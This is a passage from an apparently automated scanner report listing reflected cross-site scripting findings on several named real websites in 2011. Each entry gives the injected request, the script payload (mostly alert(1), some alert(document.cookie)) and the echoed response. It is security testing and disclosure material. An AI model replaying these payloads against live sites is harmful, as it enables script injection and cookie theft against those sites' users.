Pragma: no-cache
ETag: "0-en-9d458ec02f3d22d490a82761fb1d6eab"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13923

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/end3ec5"><script>alert(1)</script>09664dfd080/website_monitoring_features.php" method="post">
...[SNIP]...

1.229. https://secure.watchmouse.com/en/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fee2"><script>alert(1)</script>2f49cde29bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php1fee2"><script>alert(1)</script>2f49cde29bf HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-99a0c17d16671754b3ff5dab1fe90bab"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php1fee2"><script>alert(1)</script>2f49cde29bf" method="post">
...[SNIP]...

1.230. https://secure.watchmouse.com/en/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd16c'-alert(1)-'e746f8a7df8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/website_monitoring_features.phpfd16c'-alert(1)-'e746f8a7df8 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:47 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-7c0f8395b5e9d1c148075bca9cc5a9fe"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::website_monitoring_features.phpfd16c'-alert(1)-'e746f8a7df8');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.231. https://secure.watchmouse.com/en/website_monitoring_features.php [c5d13%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec8784763d6c parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of the c5d13%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec8784763d6c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbbfe"><script>alert(1)</script>fa21d48d4ca was submitted in the c5d13%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec8784763d6c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php?c5d13%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec8784763d6c=1fbbfe"><script>alert(1)</script>fa21d48d4ca HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; nkey=WMA4D528314AD809

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:16:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-4e339e3deee73403c3be8f9259d3b1e4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 28269

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php?c5d13%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec8784763d6c=1fbbfe"><script>alert(1)</script>fa21d48d4ca" method="post">
...[SNIP]...

1.232. https://secure.watchmouse.com/en/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d3ad'-alert(1)-'155c9d73cd6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-1e552d49c2f41b2daa2d031f939c786b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

1.233. https://secure.watchmouse.com/en/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5d13"><script>alert(1)</script>c8784763d6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php?c5d13"><script>alert(1)</script>c8784763d6c=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-b8e23ea92a5f60b03d00533e54b5e8b0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28433

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php?c5d13"><script>alert(1)</script>c8784763d6c=1" method="post">
...[SNIP]...

1.234. http://syndication.mmismm.com/mmtnt.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://syndication.mmismm.com
Path:	/mmtnt.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41a41'%3balert(1)//7c4f759fa43 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 41a41';alert(1)//7c4f759fa43 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /mmtnt.php?mm_pub=7346&41a41'%3balert(1)//7c4f759fa43=1 HTTP/1.1
Host: syndication.mmismm.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: G=10120000000990801741

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:01 GMT
Server: Apache
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV"
Set-Cookie: G=10120000000990801741; expires=Tue, 09-Feb-2016 19:59:01 GMT; path=/; domain=.mmismm.com
Content-Length: 458
Content-Type: text/javascript

document.write('<script type="text/javascript">var D=new Date();var Z=D.getTimezoneOffset();var R="";if(typeof document.referrer!=="undefined"){R="&ref="+encodeURIComponent(document.referrer);}</'+'sc
...[SNIP]...
<script type="text/javascript" src="http://syndication.mmismm.com/two.php?mm_pub=7346&41a41';alert(1)//7c4f759fa43=1&origin='+encodeURIComponent(document.URL)+'&tzos='+Z+R+'&cb='+Math.floor(Math.random()*0xffffffff)+'">
...[SNIP]...

1.235. http://technorati.com/contact-us/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://technorati.com
Path:	/contact-us/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd8fa"><script>alert(1)</script>09ae0dbaead was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contact-us/?bd8fa"><script>alert(1)</script>09ae0dbaead=1 HTTP/1.1
Host: technorati.com
Proxy-Connection: keep-alive
Referer: http://technoratimedia.com/technorati_media/advertisers.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tvisitor=173.193.214.243.1296507435429350; NEWTRSESSID=2bb304dc482fca986565057520e4c4dc; __utmz=39112614.1296508093.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/43; __qca=P0-1812686033-1296508097157; __utma=39112614.904052965.1296508093.1296508093.1297260372.2; __utmc=39112614; __utmb=39112614.6.6.1297260374248

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:09:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 45182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
<a onclick="pageTracker._trackEvent('BreadCrumb','Home','/contact-us/?bd8fa"><script>alert(1)</script>09ae0dbaead=1')" href="/" rel="nofollow">
...[SNIP]...

1.236. http://twittorati.com/ [7903e%27;alert(document.cookie)//5a7f48cb57e parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://twittorati.com
Path:	/

Issue detail

The value of the 7903e%27;alert(document.cookie)//5a7f48cb57e request parameter is copied into a JavaScript rest-of-line comment. The payload 97a63%0aalert(1)//3172a3db0c5 was submitted in the 7903e%27;alert(document.cookie)//5a7f48cb57e parameter. This input was echoed as 97a63
alert(1)//3172a3db0c5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?7903e%27;alert(document.cookie)//5a7f48cb57e=197a63%0aalert(1)//3172a3db0c5 HTTP/1.1
Host: twittorati.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.9
X-Generated: Wed, 09 Feb 2011 14:10:27 GMT
Set-Cookie: PHPSESSID=pbo573d45ji273niik6m9ib5q5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Feb 2011 14:10:27 GMT
X-Varnish: 1762883754
Age: 0
Via: 1.1 varnish
Connection: keep-alive
Content-Length: 80713

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us">
<
...[SNIP]...
ion() {
$('#more-items').hide();
$('#more-items-loading').show();
var url = '/expanding_list/more.json?c=Home&m=_more_tweets&o=&l=50&7903e';alert(document_cookie)//5a7f48cb57e=197a63
alert(1)//3172a3db0c5&k=0038f13b31842482eb0ba598d1b0b9e9&s='+skip;
$.getJSON(url,function(data) {
$('#more-items-loading').hide();
if (data.success) {
skip = data.skip;

...[SNIP]...

1.237. http://twittorati.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://twittorati.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7903e'%3balert(1)//5a7f48cb57e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7903e';alert(1)//5a7f48cb57e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?7903e'%3balert(1)//5a7f48cb57e=1 HTTP/1.1
Host: twittorati.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.9
X-Generated: Wed, 09 Feb 2011 14:05:41 GMT
Set-Cookie: PHPSESSID=r4qf922mjmfrd9r2kd4b3vo882; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Feb 2011 14:05:41 GMT
X-Varnish: 1762881209
Age: 0
Via: 1.1 varnish
Connection: keep-alive
Content-Length: 80555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us">
<
...[SNIP]...
unction() {
$('#more-items').click(function() {
$('#more-items').hide();
$('#more-items-loading').show();
var url = '/expanding_list/more.json?c=Home&m=_more_tweets&o=&l=50&7903e';alert(1)//5a7f48cb57e=1&k=0038f13b31842482eb0ba598d1b0b9e9&s='+skip;
$.getJSON(url,function(data) {
$('#more-items-loading').hide();
if (data.success) {
skip = data.skip;

...[SNIP]...

1.238. http://www.intensedebate.com/themes/chameleon/css/idcCSS.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.intensedebate.com
Path:	/themes/chameleon/css/idcCSS.php

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 39959'><script>alert(1)</script>f48772d6e67 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themes/chameleon/css/idcCSS.php39959'><script>alert(1)</script>f48772d6e67?acctid=142288&browser=safari HTTP/1.1
Host: www.intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:27 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4754

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/themes/chameleon/css/idcCSS.php39959'><script>alert(1)</script>f48772d6e67?acctid=142288&browser=safari'>
...[SNIP]...

1.239. http://www.odnoklassniki.ru/dk [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.odnoklassniki.ru
Path:	/dk

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload f1b8d<script>alert(1)</script>9a704c4f0af was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /dk?st.cmd=extLike&uid=odklcnt0f1b8d<script>alert(1)</script>9a704c4f0af&ref=http%3A%2F%2Fxhtml.co.il%2Fru%2FjQuery%2F%25D0%259F%25D0%25BE%25D0%25B6%25D0%25B5%25D1%2580%25D1%2582%25D0%25B2%25D0%25BE%25D0%25B2%25D0%25B0%25D1%2582%25D1%258C-%25D0%25BD%25D0%25B0-%25D0%25BF%25D1%2580%25D0%25BE%25D0%25B5%25D0%25BA%25D1%2582 HTTP/1.1
Host: www.odnoklassniki.ru
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Wed, 09 Feb 2011 13:30:18 GMT
Content-Length: 74

ODKL.updateCount('odklcnt0f1b8d<script>alert(1)</script>9a704c4f0af','0');

1.240. http://www.typepad.com/services/toolbar [autofollowed parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.typepad.com
Path:	/services/toolbar

Issue detail

The value of the autofollowed request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 9fa18%3balert(1)//61e175b643 was submitted in the autofollowed parameter. This input was echoed as 9fa18;alert(1)//61e175b643 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /services/toolbar?blog_id=6a0111685695c8970c0111685695cd970c&asset_id=6a0111685695c8970c0120a70f44c2970b&atype=Page&to=http%3A%2F%2Ftechnoratimedia.com%2Ftechnorati_media%2F&autofollowed=09fa18%3balert(1)//61e175b643&safe_to_modify_body=0 HTTP/1.1
Host: www.typepad.com
Proxy-Connection: keep-alive
Referer: http://technoratimedia.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 14:06:30 GMT
Server: Apache
X-Webserver: oak-tp-app002
Cache-Control: private
Pragma: no-cache
Vary: cookie,negotiate,accept-language,Accept-Encoding
Content-Language: en
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 14979

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:at="http://www.sixapart.c
...[SNIP]...
lorAnim = YAHOO.util.ColorAnim,
Easing = YAHOO.util.Easing,
Cookie = YAHOO.util.Cookie,
TPToolbar = {};

TPToolbar = {

params: {
autofollowed: 09fa18;alert(1)//61e175b643,
blog_user_xid: '6p0111685695c8970c',
display: 0,
entry_xid: '6a0111685695c8970c0120a70f44c2970b',
logged_in: 0,
safe_to_mod
...[SNIP]...

1.241. http://www.vogel-nest.de/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a00b2"><script>alert(1)</script>62e569e965 was submitted in the REST URL parameter 1. This input was echoed as a00b2\"><script>alert(1)</script>62e569e965 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoa00b2"><script>alert(1)</script>62e569e965 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:21:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:21:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18834

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/favicon.icoa00b2\"><script>alert(1)</script>62e569e965"/>
...[SNIP]...

1.242. http://www.vogel-nest.de/wiki/Main/ImageSnap [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wiki/Main/ImageSnap

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88b4a"><script>alert(1)</script>d4f14d53e5d was submitted in the REST URL parameter 1. This input was echoed as 88b4a\"><script>alert(1)</script>d4f14d53e5d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki88b4a"><script>alert(1)</script>d4f14d53e5d/Main/ImageSnap HTTP/1.1
Host: www.vogel-nest.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

